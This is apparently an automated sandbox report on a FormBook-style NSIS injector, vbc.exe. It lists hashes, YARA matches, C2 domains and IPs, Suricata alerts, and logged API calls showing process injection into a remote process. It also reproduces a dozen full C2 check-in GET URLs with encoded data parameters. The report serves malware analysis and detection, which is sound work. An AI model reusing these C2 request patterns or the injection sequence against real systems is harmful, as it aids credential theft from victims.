popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

vbc.exe

NSIS Malicious Library UPX PE File DLL OS Processor Check PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Nov. 3, 2021, 9:35 a.m. Nov. 3, 2021, 9:58 a.m.
Size 285.8KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 11cbfa99fb5ebe8c09674e79b9834d96
SHA256 b7f38916ff521e44e651031ee54e631805f13963baaf6ff6e3cc1aa72f1d0a43
CRC32 DFB2C175
ssdeep 6144:wBlL/cZwF4JmEVpM2MJhVRcGO+LTYKJhUVTj9qsYKGV77ECn:CeZUSpMHwf4YRqsWvn
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • NSIS_Installer - Null Soft Installer

Name Response Post-Analysis Lookup
www.consept-cafe.com
www.shleppersmovingandstorage.com
A 198.54.117.218
A 198.54.117.216
A 198.54.117.217
CNAME parkingpage.namecheap.com
A 198.54.117.215
A 198.54.117.212
A 198.54.117.210
A 198.54.117.211
198.54.117.211
www.juliamoranmartin.com
A 217.116.0.191
217.116.0.191
www.maininger.com
A 217.160.0.228
217.160.0.228
www.sportherd.com
A 162.243.47.214
162.243.47.214
www.mikespotts.com
A 172.67.188.178
A 104.21.76.57
104.21.76.57
www.palisadesstore.com
CNAME palisadesstore.com
A 34.102.136.180
34.102.136.180
www.schittstore.com
CNAME schittstore.com
A 66.29.132.90
66.29.132.90
www.komotoy.com
www.wardrobewish.com
CNAME HDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-1.amazonaws.com
A 3.223.115.185
3.223.115.185
www.indousmedicalscribing.com
CNAME indousmedicalscribing.com
A 34.102.136.180
34.102.136.180
www.1207rossmoyne.com
CNAME tour.tourbuzz.net
A 52.20.218.92
CNAME tourbuzz.net
52.20.218.92
www.flashpointyouth.com
A 156.240.151.177
156.240.151.177
www.passionfruitny.com
A 34.102.136.180
CNAME passionfruitny.com
34.102.136.180
www.mammutphilippines.com
A 172.67.176.234
A 104.21.67.135
104.21.67.135
IP Address Status Action
104.21.67.135 Active Moloch
156.240.151.177 Active Moloch
162.243.47.214 Active Moloch
164.124.101.2 Active Moloch
172.67.188.178 Active Moloch
198.54.117.212 Active Moloch
217.116.0.191 Active Moloch
217.160.0.228 Active Moloch
3.223.115.185 Active Moloch
34.102.136.180 Active Moloch
52.20.218.92 Active Moloch
66.29.132.90 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49165 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 104.21.67.135:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 104.21.67.135:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 104.21.67.135:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 162.243.47.214:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 162.243.47.214:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 162.243.47.214:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 156.240.151.177:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 156.240.151.177:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 156.240.151.177:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49177 -> 172.67.188.178:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49177 -> 172.67.188.178:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49177 -> 172.67.188.178:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 66.29.132.90:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 52.20.218.92:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 66.29.132.90:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 52.20.218.92:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 66.29.132.90:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 52.20.218.92:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 217.160.0.228:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 217.160.0.228:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 217.160.0.228:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 198.54.117.212:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 198.54.117.212:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 198.54.117.212:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 3.223.115.185:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 3.223.115.185:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 3.223.115.185:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 217.116.0.191:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 217.116.0.191:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 217.116.0.191:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.passionfruitny.com/ddzw/?mfsl7bH=j1WVYPKREe/iqZY/kWyb0aUoudGjuNgxSNOIs5VZ0Ce82FDJGRww/lsNfpSf2w0iyg22p7x+&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.mammutphilippines.com/ddzw/?mfsl7bH=XKHX2v+fkBCunocGj3rFn4v4QvpoQkFCXwZofEueDHFtym0hNlNi4X+F8lnrY2pUFmsye07q&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.juliamoranmartin.com/ddzw/?mfsl7bH=6Q7JXEhGn1nCiVzGW7OvR+w3qfbQF/Gh1STMm4wNuOhMgkpI2l4cOFz8lzrYHCV9ary/dAD1&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.indousmedicalscribing.com/ddzw/?mfsl7bH=DRjOZjpI2ePD8liCP7nAEqld0QN3J7LPZkiMBFhhGIOFOLdgOHazcMvaZ45mzBGaWvYQOKFm&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.maininger.com/ddzw/?mfsl7bH=Al5s2weciqIrbGrSdgJl09FIEtaDwUgBVTp5oJs4d9EpwXdgHokngPi2WL0RGoaVCF/E0Wih&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.sportherd.com/ddzw/?mfsl7bH=rCtcxUrpi6xWOPxHR9QIazD6WLKYE8OL7gbDSdg1OmZV9tjji7TnyuMb4MUm6X4O20yFr/T8&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.1207rossmoyne.com/ddzw/?mfsl7bH=LcdAyp9UhGnU0/En4/Gnshl/55/Xj+RSazUCag0Yulb+Lb/aCp0DqP3VqPYelJD3cCZaOJsZ&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.shleppersmovingandstorage.com/ddzw/?mfsl7bH=nJVBLhUe1R7OLjQKnJ1+9B0dwuPw50mbu7VKOx7cWYJWAd8dKn2Ien29zK/OibqoKzMqUCH+&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.schittstore.com/ddzw/?mfsl7bH=eu2i37xHcB7A6W2IRVlK/UzsyDYSkffg03LYHul4MxZENkm7/tK6JqlOvVlzNPIE1eHf1Zcs&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.palisadesstore.com/ddzw/?mfsl7bH=LwQSSZmFKq116JGVF/0nPPcUBWVsd/SLW5N2AEu8xRB8FPO8JQ7fj8OceGppuzoGtS6UuAu9&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.flashpointyouth.com/ddzw/?mfsl7bH=DtGmsEY2iNUZLLEVBi/ZCM9x7s+fqvGmeUpJsqhGzb7D/5NM434HcKBEzKv2yzGV8HcXfEpn&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.wardrobewish.com/ddzw/?mfsl7bH=uA4UJt9CuJW2Fk/qMtECVhB4zRiz0JBHg2PhgT5FixFIsseZNzpFmLBp65IAN54qNvC2Kf2d&lZQ=7neHz4LxM
suspicious_features GET method with no useragent header suspicious_request GET http://www.mikespotts.com/ddzw/?mfsl7bH=mk8GRRlrsEWHLX4GtkVXwGml9VwBCAg5qtWMStieodEVO8IiiibI6Nu+OP8utk0O5PU1HT+e&lZQ=7neHz4LxM
request GET http://www.passionfruitny.com/ddzw/?mfsl7bH=j1WVYPKREe/iqZY/kWyb0aUoudGjuNgxSNOIs5VZ0Ce82FDJGRww/lsNfpSf2w0iyg22p7x+&lZQ=7neHz4LxM
request GET http://www.mammutphilippines.com/ddzw/?mfsl7bH=XKHX2v+fkBCunocGj3rFn4v4QvpoQkFCXwZofEueDHFtym0hNlNi4X+F8lnrY2pUFmsye07q&lZQ=7neHz4LxM
request GET http://www.juliamoranmartin.com/ddzw/?mfsl7bH=6Q7JXEhGn1nCiVzGW7OvR+w3qfbQF/Gh1STMm4wNuOhMgkpI2l4cOFz8lzrYHCV9ary/dAD1&lZQ=7neHz4LxM
request GET http://www.indousmedicalscribing.com/ddzw/?mfsl7bH=DRjOZjpI2ePD8liCP7nAEqld0QN3J7LPZkiMBFhhGIOFOLdgOHazcMvaZ45mzBGaWvYQOKFm&lZQ=7neHz4LxM
request GET http://www.maininger.com/ddzw/?mfsl7bH=Al5s2weciqIrbGrSdgJl09FIEtaDwUgBVTp5oJs4d9EpwXdgHokngPi2WL0RGoaVCF/E0Wih&lZQ=7neHz4LxM
request GET http://www.sportherd.com/ddzw/?mfsl7bH=rCtcxUrpi6xWOPxHR9QIazD6WLKYE8OL7gbDSdg1OmZV9tjji7TnyuMb4MUm6X4O20yFr/T8&lZQ=7neHz4LxM
request GET http://www.1207rossmoyne.com/ddzw/?mfsl7bH=LcdAyp9UhGnU0/En4/Gnshl/55/Xj+RSazUCag0Yulb+Lb/aCp0DqP3VqPYelJD3cCZaOJsZ&lZQ=7neHz4LxM
request GET http://www.shleppersmovingandstorage.com/ddzw/?mfsl7bH=nJVBLhUe1R7OLjQKnJ1+9B0dwuPw50mbu7VKOx7cWYJWAd8dKn2Ien29zK/OibqoKzMqUCH+&lZQ=7neHz4LxM
request GET http://www.schittstore.com/ddzw/?mfsl7bH=eu2i37xHcB7A6W2IRVlK/UzsyDYSkffg03LYHul4MxZENkm7/tK6JqlOvVlzNPIE1eHf1Zcs&lZQ=7neHz4LxM
request GET http://www.palisadesstore.com/ddzw/?mfsl7bH=LwQSSZmFKq116JGVF/0nPPcUBWVsd/SLW5N2AEu8xRB8FPO8JQ7fj8OceGppuzoGtS6UuAu9&lZQ=7neHz4LxM
request GET http://www.flashpointyouth.com/ddzw/?mfsl7bH=DtGmsEY2iNUZLLEVBi/ZCM9x7s+fqvGmeUpJsqhGzb7D/5NM434HcKBEzKv2yzGV8HcXfEpn&lZQ=7neHz4LxM
request GET http://www.wardrobewish.com/ddzw/?mfsl7bH=uA4UJt9CuJW2Fk/qMtECVhB4zRiz0JBHg2PhgT5FixFIsseZNzpFmLBp65IAN54qNvC2Kf2d&lZQ=7neHz4LxM
request GET http://www.mikespotts.com/ddzw/?mfsl7bH=mk8GRRlrsEWHLX4GtkVXwGml9VwBCAg5qtWMStieodEVO8IiiibI6Nu+OP8utk0O5PU1HT+e&lZQ=7neHz4LxM
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2756
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x739e2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2756
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74306000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2888
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009c0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nsnE148.tmp\xggenq.dll
file C:\Users\test22\AppData\Local\Temp\nsnE148.tmp\xggenq.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2888
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000021c
1 0 0
Process injection Process 2756 called NtSetContextThread to modify thread in remote process 2888
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2003108292
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314256
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000218
process_identifier: 2888
1 0 0
Elastic malicious (high confidence)
MicroWorld-eScan Dropped:Trojan.GenericKDZ.79521
FireEye Generic.mg.11cbfa99fb5ebe8c
Cylance Unsafe
Cybereason malicious.9fb5eb
Arcabit Trojan.Nemesis.D6F1
Cyren W32/Injector.AMK.gen!Eldorado
Symantec Packed.Generic.606
ESET-NOD32 a variant of Win32/Injector.EQKW
APEX Malicious
Paloalto generic.ml
BitDefender Dropped:Trojan.GenericKDZ.79521
Avast Win32:PWSX-gen [Trj]
Ad-Aware Dropped:Trojan.GenericKDZ.79521
Emsisoft Dropped:Trojan.GenericKDZ.79521 (B)
McAfee-GW-Edition BehavesLike.Win32.Puper.dc
Sophos Generic ML PUA (PUA)
Ikarus Trojan.NSIS.Agent
Microsoft Trojan:Win32/Tnega!ml
GData Dropped:Trojan.GenericKDZ.79521
Cynet Malicious (score: 100)
MAX malware (ai score=88)
Malwarebytes Trojan.Injector
SentinelOne Static AI - Malicious PE
Fortinet W32/Injector.EOLV!tr
AVG Win32:PWSX-gen [Trj]
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2892
thread_handle: 0x00000218
process_identifier: 2888
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\vbc.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\vbc.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\vbc.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x0000021c
1 1 0

NtGetContextThread

 thread_handle: 0x00000218
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2888
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000021c
1 0 0

NtSetContextThread

 registers.eip: 2003108292
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314256
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000218
process_identifier: 2888
1 0 0